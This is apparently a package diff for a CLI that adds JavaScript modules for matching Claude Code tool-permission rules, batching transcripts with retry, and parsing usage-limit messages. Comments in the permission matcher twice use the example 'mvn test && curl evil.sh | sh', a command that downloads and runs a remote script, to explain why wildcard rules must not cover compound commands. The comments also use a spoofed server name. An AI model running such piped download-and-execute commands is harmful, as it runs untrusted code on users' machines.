cawdev-cli 0.9.0

package/lib/tool-rules.mjs

@@ -0,0 +1,282 @@
+// What a run may do, in Claude Code's own grammar — R51.
+//
+// One matcher, imported by both halves that need it:
+//
+//   - the RUNNER, which asks the platform for a project's live rules when it
+//     claims a run, filters them through the machine's own ceiling, and hands
+//     the survivors to the CLI as --allowedTools;
+//   - the MCP SERVER, which is asked by the CLI's permission-prompt tool about
+//     a call no rule covered, and has to answer the same question again for a
+//     rule somebody added while the session was already running.
+//
+// Two copies of this would drift, and the direction they drift in is "the
+// runner promised the agent something the server then denies", which reads to
+// whoever is watching as the agent being broken.
+//
+// THIS IS NOT THE AUTHORITY ON PERMISSIONS. Claude Code is. Everything here
+// exists to decide "has somebody already said yes to this" and "is this
+// within what this machine allows unattended", and both must fail towards
+// ASKING. A matcher that is unsure and says yes has quietly granted something;
+// one that is unsure and says no has, at worst, asked a person a question they
+// have answered before.
+
+/**
+ * A pattern, split into the tool and what it is allowed to do.
+ *
+ *   Bash(mvn *)          -> { tool: 'Bash', content: 'mvn *' }
+ *   Bash                 -> { tool: 'Bash', content: null }   // the whole tool
+ *   mcp__cawdev__report  -> { tool: 'mcp__cawdev__report', content: null }
+ *
+ * Null for anything else. An unparseable rule is not a rule that matches
+ * everything.
+ */
+export function parseRule(pattern) {
+  if (typeof pattern !== 'string') return null;
+  const text = pattern.trim();
+  if (!text) return null;
+
+  const open = text.indexOf('(');
+  if (open === -1) {
+    return { tool: text, content: null };
+  }
+  if (!text.endsWith(')')) return null;
+
+  const tool = text.slice(0, open).trim();
+  const content = text.slice(open + 1, -1).trim();
+  if (!tool) return null;
+  return { tool, content: content || null };
+}
+
+/**
+ * Whether a pattern's tool covers a call's tool.
+ *
+ * Exact, plus one case: **`mcp__<server>` covers every tool on that server**,
+ * which is Claude Code's own reading of `--allowedTools mcp__github`. Verified
+ * against 2.1.252 rather than assumed — a session given `mcp__claude-in-chrome`
+ * and nothing else called `mcp__claude-in-chrome__tabs_context_mcp` without
+ * being asked.
+ *
+ * Without this the two disagree, and they disagree in the worst direction: the
+ * CLI would honour a server-wide grant at spawn while this matcher denied every
+ * call under it mid-run, so a person who allowed the whole server would be
+ * asked again about each of its twenty-six tools. Keeping one reading is the
+ * entire reason this file exists.
+ *
+ * Split on the separator, never a raw prefix: `mcp__claude-in-chrome` must not
+ * cover `mcp__claude-in-chrome-evil__navigate`, and `startsWith` alone would.
+ */
+function sameTool(ruleTool, toolName) {
+  if (ruleTool === toolName) return true;
+  if (!ruleTool.startsWith('mcp__') || !toolName.startsWith('mcp__')) return false;
+  // A server-only pattern has exactly one `__` after the prefix; anything with
+  // a tool on it is already covered by the equality above.
+  return ruleTool.split('__').length === 2 && toolName.startsWith(`${ruleTool}__`);
+}
+
+/**
+ * Shell metacharacters, which make a command more than one command.
+ *
+ * `mvn test && curl evil.sh | sh` starts with `mvn`, and a rule written from
+ * its first word would say `Bash(mvn *)` — a rule whose plain reading is "may
+ * run Maven" and whose actual effect is "may run anything". Claude Code splits
+ * compound commands and checks the parts; we do not, so anything compound gets
+ * no suggested rule and has to be allowed one call at a time.
+ */
+const COMPOUND = /[;&|`\n]|\$\(|>\(|<\(/;
+
+/** The command a Bash call will run, or null for any other tool. */
+function commandOf(toolName, input) {
+  if (toolName !== 'Bash') return null;
+  const command = input && typeof input.command === 'string' ? input.command.trim() : '';
+  return command || null;
+}
+
+/**
+ * Whether a pattern covers a call.
+ *
+ * A trailing `*` is a prefix match, which is Claude Code's own reading of
+ * `Bash(npm run test:*)`. Without one the content must match the command
+ * exactly. A pattern naming only a tool covers every call to it.
+ */
+export function matches(pattern, toolName, input) {
+  const rule = parseRule(pattern);
+  if (!rule) return false;
+  if (!sameTool(rule.tool, toolName)) return false;
+  if (rule.content === null) return true;
+
+  const command = commandOf(toolName, input);
+  if (command === null) {
+    // A pattern with content, against a tool whose calls have no command to
+    // compare. We do not know what it means, so it does not match.
+    return false;
+  }
+  // Never settle a compound command from a WILDCARD rule — R135 narrowed this
+  // from "from any rule", and the narrowing is the whole of that card.
+  //
+  // The reason has not changed, only its scope. `Bash(mvn *)` was written
+  // about one program, and `mvn test && curl evil.sh | sh` is several
+  // commands of which only the first is the one anybody read; a wildcard rule
+  // must never settle it. A rule with no wildcard was written about one
+  // STRING, in full, and the equality below can grant nothing but that string
+  // — so `Bash(cd backend && ./mvnw test)` settles exactly `cd backend &&
+  // ./mvnw test` and nothing else. Refusing that too left the commands a
+  // build session runs most with no durable answer anywhere in cawdev, which
+  // is the defect R135 was filed for.
+  if ((rule.content === '*' || rule.content.endsWith('*')) && COMPOUND.test(command)) {
+    return false;
+  }
+
+  if (rule.content === '*') return true;
+  if (rule.content.endsWith('*')) {
+    return command.startsWith(rule.content.slice(0, -1));
+  }
+  return command === rule.content;
+}
+
+/** The first pattern in the list that covers this call, or null. */
+export function coveredBy(patterns, toolName, input) {
+  for (const pattern of patterns ?? []) {
+    if (matches(pattern, toolName, input)) return pattern;
+  }
+  return null;
+}
+
+/**
+ * The one line a person decides on.
+ *
+ * Rendered here, on the machine, and stored by the platform as it was sent —
+ * so what somebody approved is exactly what they were shown, however the
+ * console later changes.
+ */
+export function summaryOf(toolName, input) {
+  const command = commandOf(toolName, input);
+  if (command) return command;
+
+  // Not Bash: say what it is about in whatever the tool calls its subject.
+  const subject = ['file_path', 'path', 'url', 'pattern', 'notebook_path']
+    .map((key) => (input && typeof input[key] === 'string' ? input[key] : null))
+    .find(Boolean);
+  return subject ? `${toolName}: ${subject}` : toolName;
+}
+
+/**
+ * The rule that would cover this next time, or null when none should be offered.
+ *
+ * For a shell command it is the program: `mvn --version` offers
+ * `Bash(mvn *)`. Broad on purpose — it is what somebody means by "let it use
+ * Maven" — and the console lets them narrow it before it is written.
+ *
+ * Null rather than a guess for: compound commands (see COMPOUND), and any tool
+ * whose calls we cannot characterise, where the only honest offer would be the
+ * whole tool. "Always allow Bash" is not a checkbox this should ever draw.
+ */
+export function suggestionFor(toolName, input, { skillServers = [] } = {}) {
+  const command = commandOf(toolName, input);
+  if (command === null) {
+    if (!toolName.startsWith('mcp__')) return null;
+
+    // A SKILL is one decision, so the offer is the whole server — R76.
+    //
+    // A project turned CodeGraph on, not `codegraph_explore`. Offering the one
+    // tool would ask a person twenty-six times about a capability they have
+    // already expressed as one thing, which is how a permission model people
+    // read becomes one they click through. R61 verified that the CLI and
+    // `matches` agree on a server-wide pattern, so this is a grant both halves
+    // read the same way.
+    //
+    // Only for servers the runner declared as skills. Everything else — a
+    // repository's own `.mcp.json` server, above all — keeps the per-tool
+    // offer, because nobody declared it as a capability and its tools may have
+    // nothing to do with each other.
+    const server = skillServers.find((prefix) => sameTool(prefix, toolName));
+    if (server) return server;
+
+    // A named MCP tool is its own pattern and is as narrow as it gets.
+    return toolName;
+  }
+  if (COMPOUND.test(command)) return null;
+
+  const program = command.split(/\s+/)[0];
+  if (!program || program.includes('/')) {
+    // A path rather than a program — `./scripts/deploy.sh`. Offering
+    // `Bash(./scripts/deploy.sh *)` is a rule about one file in one checkout,
+    // which is not what a project rule is for.
+    return null;
+  }
+  return `Bash(${program} *)`;
+}
+
+/**
+ * The longest a rule may be and still be one somebody can withdraw.
+ *
+ * A rule nobody can read on the Rules page is a rule nobody can safely take
+ * back, and an exact rule is as long as the command it was written from.
+ */
+const LONGEST_EXACT = 300;
+
+/**
+ * The rule that names THIS call and nothing else, or null — R135.
+ *
+ * The offer for the commands `suggestionFor` cannot make an offer about: a
+ * compound command, or a path-shaped one. It is not a guess about what
+ * somebody meant, the way `Bash(mvn *)` is; it is the string they read in full
+ * on the approval card, and it can grant nothing but itself.
+ *
+ * Null rather than a near-miss for three cases, each of which would offer a
+ * rule WIDER than the command that was shown:
+ *
+ *   - a command ending in `*`, which our own `matches` reads as a prefix;
+ *   - one longer than {@link LONGEST_EXACT};
+ *   - one that does not survive the round trip through `parseRule` — a command
+ *     ending in `)` is truncated by it, so the pattern is built, parsed back,
+ *     and offered only when the two agree.
+ *
+ * Bash only, because a rule with content means nothing to `matches` for any
+ * other tool: those keep the whole-tool session grant as their answer.
+ */
+export function exactRuleFor(toolName, input) {
+  const command = commandOf(toolName, input);
+  if (command === null) return null;
+  if (command.endsWith('*')) return null;
+  if (command.length > LONGEST_EXACT) return null;
+
+  const pattern = `${toolName}(${command})`;
+  return parseRule(pattern)?.content === command ? pattern : null;
+}
+
+/**
+ * Whether a machine's ceiling admits a rule.
+ *
+ * The ceiling is the list of patterns this runner's owner is willing to have
+ * applied with nobody watching. A rule passes when the ceiling names it, or
+ * names something broader that plainly contains it — `Bash(npm *)` in the
+ * ceiling admits `Bash(npm test)`.
+ *
+ * Deliberately narrow. It compares patterns, never expands them: a ceiling of
+ * `Bash(npm *)` does not admit `Bash(npm-run-all *)`, because the prefix test
+ * is done on the wildcard boundary and not on the raw string.
+ */
+export function withinCeiling(ceiling, pattern) {
+  const rule = parseRule(pattern);
+  if (!rule) return false;
+
+  for (const allowed of ceiling ?? []) {
+    const limit = parseRule(allowed);
+    // The same server-covers-its-tools reading as `matches`, so a ceiling of
+    // `mcp__claude-in-chrome` admits a rule about one of its tools.
+    if (!limit || !sameTool(limit.tool, rule.tool)) continue;
+
+    // The ceiling names the whole tool: everything in it is admitted.
+    if (limit.content === null || limit.content === '*') return true;
+    if (rule.content === null) continue; // The rule is wider than the ceiling.
+
+    if (limit.content.endsWith('*')) {
+      const prefix = limit.content.slice(0, -1);
+      if (rule.content === prefix.trim()) return true;
+      if (rule.content.startsWith(prefix)) return true;
+      continue;
+    }
+    if (limit.content === rule.content) return true;
+  }
+  return false;
+}

package/lib/transcript-batch.mjs

@@ -0,0 +1,88 @@
+// Batching a session's transcript for the platform, without losing a batch
+// the network would not carry — R255.
+//
+// A batch that failed to send used to be spliced out of the pending queue
+// before the send was even awaited, on the theory that "a dropped line is not
+// worth failing a run over". True for one flaky beat; false for a laptop that
+// loses Wi-Fi for two minutes, where every line the session produced during
+// the gap went missing for good, with nothing in the transcript to say a gap
+// had happened at all.
+//
+// Pure of the network and the daemon on purpose: `send(lines)` is the one
+// edge this class touches, so the retry, the backoff and the ordering can be
+// tested without a socket, a runner, or a platform to talk to. `runner.mjs`
+// supplies the real `send` (a POST to `/output`) and the daemon-only tee to
+// the attached terminal.
+
+/**
+ * @param {(lines: object[]) => Promise<unknown>} send POSTs a batch, in
+ *   order; rejects on failure. Called with at most `max` lines.
+ * @param {{every?: number, max?: number, maxRetryDelay?: number,
+ *   onRetry?: (info: {lines: object[], delayMs: number, failure: Error}) => void}} [opts]
+ *   `onRetry` is told about a failed send before the backoff timer is set —
+ *   the daemon uses it to log; a test uses it to assert without waiting out
+ *   real delays.
+ */
+export class TranscriptBatch {
+  constructor(send, { every = 400, max = 100, maxRetryDelay = 20_000, onRetry } = {}) {
+    this.send_ = send;
+    this.every = every;
+    this.max = max;
+    this.maxRetryDelay = maxRetryDelay;
+    this.onRetry = onRetry ?? (() => {});
+    this.pending = [];
+    this.sending = null;
+    this.timer = null;
+    this.retryDelay = every;
+  }
+
+  /** Queues one line, flushing immediately once `max` is reached. */
+  push(line) {
+    this.pending.push(line);
+    if (this.pending.length >= this.max) {
+      void this.flush();
+    } else if (!this.timer) {
+      this.timer = setTimeout(() => void this.flush(), this.every);
+      this.timer.unref?.();
+    }
+  }
+
+  async flush() {
+    if (this.timer) {
+      clearTimeout(this.timer);
+      this.timer = null;
+    }
+    // One request at a time: awaiting the previous send is what keeps the
+    // transcript in the order the session produced it, whether that send
+    // succeeded or is about to be retried.
+    this.sending = (this.sending ?? Promise.resolve()).then(() => this.send());
+    await this.sending;
+  }
+
+  async send() {
+    if (!this.pending.length) return;
+    // A snapshot, not the live array: `push()` can append more lines while
+    // this request is in flight, and those belong to the NEXT send, not this
+    // one — splicing by count below removes exactly what was sent, whatever
+    // arrived after it.
+    const count = this.pending.length;
+    const lines = this.pending.slice(0, count);
+    try {
+      await this.send_(lines);
+      this.pending.splice(0, count);
+      this.retryDelay = this.every;
+    } catch (failure) {
+      // Left in `pending` on purpose — see the module doc. Backed off rather
+      // than hammered: a real outage does not clear in one beat, and there is
+      // no point spending every one of them on a request that will fail the
+      // same way.
+      const delayMs = this.retryDelay;
+      this.onRetry({ lines, delayMs, failure });
+      this.retryDelay = Math.min(this.retryDelay * 2, this.maxRetryDelay);
+      if (!this.timer) {
+        this.timer = setTimeout(() => void this.flush(), delayMs);
+        this.timer.unref?.();
+      }
+    }
+  }
+}

package/lib/usage-limit.mjs

@@ -0,0 +1,80 @@
+// Recognising that Claude's usage window closed — R73.
+//
+// A run that hits the five-hour or weekly window exits non-zero, and without
+// this the runner reports what it always reports and the card reads FAILED:
+// the same word as a compile error. The clock said no; the work did not.
+//
+// Pure, and per-provider by design: this is the Claude Code adapter's half of
+// R20's seam. A second CLI (R17) supplies its own recogniser or none, and none
+// means the old FAILED behaviour — a run is never called usage-limited on a
+// guess.
+//
+// The shapes below are what the CLI has actually printed. Matching is
+// deliberately narrow: "limit" alone appears in ordinary output ("rate limit
+// on the API", "limit the scope"), and calling a real failure a usage limit
+// would hide a broken run behind a friendly label.
+
+// `session limit` is what the CLI actually printed on 2026-09-08, and none of
+// the patterns before it matched: "You've hit your session limit · resets 6pm
+// (Africa/Tunis)" is neither "usage limit" nor "limit reset" — a middle dot
+// sits where the space would have been. The run was marked FAILED, which is
+// the word for a crash, and R73 exists precisely so that a clock is not called
+// a crash.
+//
+// `(usage |session )?` rather than a fourth alternative, because these are one
+// phrase the vendor rewords: `hit your limit`, `hit your usage limit`, `hit
+// your session limit`. A list of exact sentences goes stale the next time
+// somebody edits a string, and goes stale SILENTLY — the failure mode is a
+// run that reads as broken.
+const FIVE_HOUR =
+  /(5|five)[- ]hour|(usage|session) limit reached|you(?:.ve| have|ve) (?:hit|reached) your (?:usage |session )?limit|limit\s*\W?\s*(will )?resets?/i;
+const WEEKLY = /weekly (usage )?limit|this week.s limit/i;
+
+/**
+ * `resets at 3:00 PM`, `resets in 2h 15m`, `try again at 15:00 UTC`.
+ * Whichever the CLI said; null when it said none. A time with no date is
+ * taken as the next occurrence of it.
+ */
+function resetInstant(text, now) {
+  const at = /(?:resets?|try again|available)\s+(?:at\s+)?(\d{1,2})(?::(\d{2}))?\s*(am|pm)?(?:\s*(utc|z))?/i.exec(text);
+  if (at) {
+    let hour = Number(at[1]);
+    const minute = Number(at[2] ?? 0);
+    const half = (at[3] ?? '').toLowerCase();
+    if (half === 'pm' && hour < 12) hour += 12;
+    if (half === 'am' && hour === 12) hour = 0;
+    const when = new Date(now);
+    if (at[4]) {
+      when.setUTCHours(hour, minute, 0, 0);
+      if (when <= now) when.setUTCDate(when.getUTCDate() + 1);
+    } else {
+      when.setHours(hour, minute, 0, 0);
+      if (when <= now) when.setDate(when.getDate() + 1);
+    }
+    return when;
+  }
+  const inFor = /(?:resets?|try again|available)\s+in\s+(?:(\d+)\s*h(?:ours?)?)?\s*(?:(\d+)\s*m(?:in(?:ute)?s?)?)?/i.exec(text);
+  if (inFor && (inFor[1] || inFor[2])) {
+    const ms = (Number(inFor[1] ?? 0) * 60 + Number(inFor[2] ?? 0)) * 60_000;
+    return new Date(now.getTime() + ms);
+  }
+  return null;
+}
+
+/**
+ * What the session's last words say, or null.
+ *
+ * @returns `{ window: 'FIVE_HOUR' | 'WEEKLY', resetsAt: Date | null }`
+ */
+export function usageLimitOf(text, now = new Date()) {
+  if (!text) {
+    return null;
+  }
+  if (WEEKLY.test(text)) {
+    return { window: 'WEEKLY', resetsAt: resetInstant(text, now) };
+  }
+  if (FIVE_HOUR.test(text)) {
+    return { window: 'FIVE_HOUR', resetsAt: resetInstant(text, now) };
+  }
+  return null;
+}

package/lib/usage-report.mjs

@@ -0,0 +1,142 @@
+// What `claude -p "/usage"` says about this machine's windows, as data.
+//
+// R73 concluded cawdev could not know these numbers — "the CLI reports its
+// windows to a person more readily than to a program, so the one moment this
+// daemon KNOWS a window is closed is when a run was refused" — and built the
+// refusal path instead. That was true of the CLI it was written against. It is
+// not true of 2.1.263, which answers `/usage` non-interactively:
+//
+//   Current session: 25% used · resets Sep 8 at 11pm (Africa/Tunis)
+//   Current week (all models): 51% used · resets Sep 11 at 2pm (Africa/Tunis)
+//   Current week (Fable): 28% used · resets Sep 11 at 2pm (Africa/Tunis)
+//
+// Pure, for `code-map.mjs`'s reason: the hard part here is reading somebody
+// else's prose, and prose is the thing that changes without warning. It is
+// testable without a CLI, and the tests are where the shapes actually seen get
+// written down.
+//
+// TOLERANT ON PURPOSE, and in one direction. A line this cannot read is a line
+// it drops; text that is not a usage report at all yields nothing rather than
+// something. The alternative — guessing — puts an invented number on a page
+// somebody makes decisions from, and R20's rule for the console is exactly
+// this: show what the provider said, and blank when it said nothing.
+
+/**
+ * `25% used`, wherever in the line it sits.
+ *
+ * The lookbehind is doing real work: without it `4000%` matches its last three
+ * digits and reads as 0%, and `-5%` reads as 5%. A number that is not a
+ * percentage must not become a plausible one — 0% used is a sentence somebody
+ * would act on.
+ */
+const PERCENT = /(?<![\d.-])(\d{1,3})\s*%/;
+
+/**
+ * `resets Sep 8 at 11pm (Africa/Tunis)`, `resets Sep 11 at 2pm`.
+ *
+ * The zone is captured and DELIBERATELY not applied: it is the zone the CLI
+ * chose to print for a person, which is this machine's own, and this daemon
+ * runs on that machine. Parsing in local time is therefore right, and pulling
+ * in a timezone library to convert a value to itself would be work that can
+ * only introduce error.
+ */
+const RESET = /resets?\s+(?:on\s+)?([A-Z][a-z]{2})\s+(\d{1,2})(?:\s+at)?\s+(\d{1,2})(?::(\d{2}))?\s*(am|pm)?/i;
+
+const MONTHS = ['jan', 'feb', 'mar', 'apr', 'may', 'jun',
+  'jul', 'aug', 'sep', 'oct', 'nov', 'dec'];
+
+/**
+ * When a window says it resets.
+ *
+ * <p>The CLI prints a month and a day and no year, so the year is inferred:
+ * the next occurrence, which across a New Year means next year rather than a
+ * reset ten months in the past.
+ */
+function resetAt(line, now) {
+  const found = RESET.exec(line);
+  if (!found) {
+    return null;
+  }
+  const month = MONTHS.indexOf(found[1].toLowerCase());
+  if (month === -1) {
+    return null;
+  }
+  let hour = Number(found[3]);
+  const minute = Number(found[4] ?? 0);
+  const half = (found[5] ?? '').toLowerCase();
+  if (half === 'pm' && hour < 12) hour += 12;
+  if (half === 'am' && hour === 12) hour = 0;
+
+  const when = new Date(now);
+  when.setMonth(month, Number(found[2]));
+  when.setHours(hour, minute, 0, 0);
+  // A date that has already gone is next year's, not this year's.
+  if (when.getTime() < now.getTime() - 24 * 60 * 60 * 1000) {
+    when.setFullYear(when.getFullYear() + 1);
+  }
+  return when;
+}
+
+/**
+ * One line's window.
+ *
+ * <p>`Current session` is the five-hour window and `Current week` the weekly
+ * one; a parenthesised name after `week` is a MODEL, and `all models` is the
+ * absence of one rather than a model called that. Told apart here rather than
+ * by the caller, so "which window is this" has a single answer.
+ */
+function windowOf(label) {
+  const lower = label.toLowerCase();
+  if (lower.includes('session')) {
+    return { kind: 'FIVE_HOUR', model: null };
+  }
+  if (!lower.includes('week')) {
+    return null;
+  }
+  const named = /\(([^)]+)\)/.exec(label);
+  const model = named ? named[1].trim() : null;
+  return {
+    kind: 'WEEKLY',
+    model: !model || /^all models$/i.test(model) ? null : model,
+  };
+}
+
+/**
+ * Every window the report named.
+ *
+ * @returns `[{ kind, model, percent, resetsAt, label }]` — empty when the text
+ *   was not a usage report, which is the answer for a CLI that has changed its
+ *   output or refused the command.
+ */
+export function parseUsage(text, now = new Date()) {
+  if (!text) {
+    return [];
+  }
+  const windows = [];
+  for (const raw of String(text).split('\n')) {
+    const line = raw.trim();
+    // The colon is what separates the window's name from its numbers, and its
+    // absence is what tells a heading from a reading — the report's prose
+    // ("What's contributing to your limits usage?") has percentages in it too.
+    const at = line.indexOf(':');
+    if (at === -1 || !/^current\b/i.test(line)) {
+      continue;
+    }
+    const percent = PERCENT.exec(line.slice(at));
+    const which = windowOf(line.slice(0, at));
+    if (!percent || !which) {
+      continue;
+    }
+    const value = Number(percent[1]);
+    if (!Number.isFinite(value) || value < 0 || value > 100) {
+      continue;
+    }
+    windows.push({
+      ...which,
+      percent: value,
+      resetsAt: resetAt(line, now),
+      label: line.slice(0, at).trim(),
+    });
+  }
+  return windows;
+}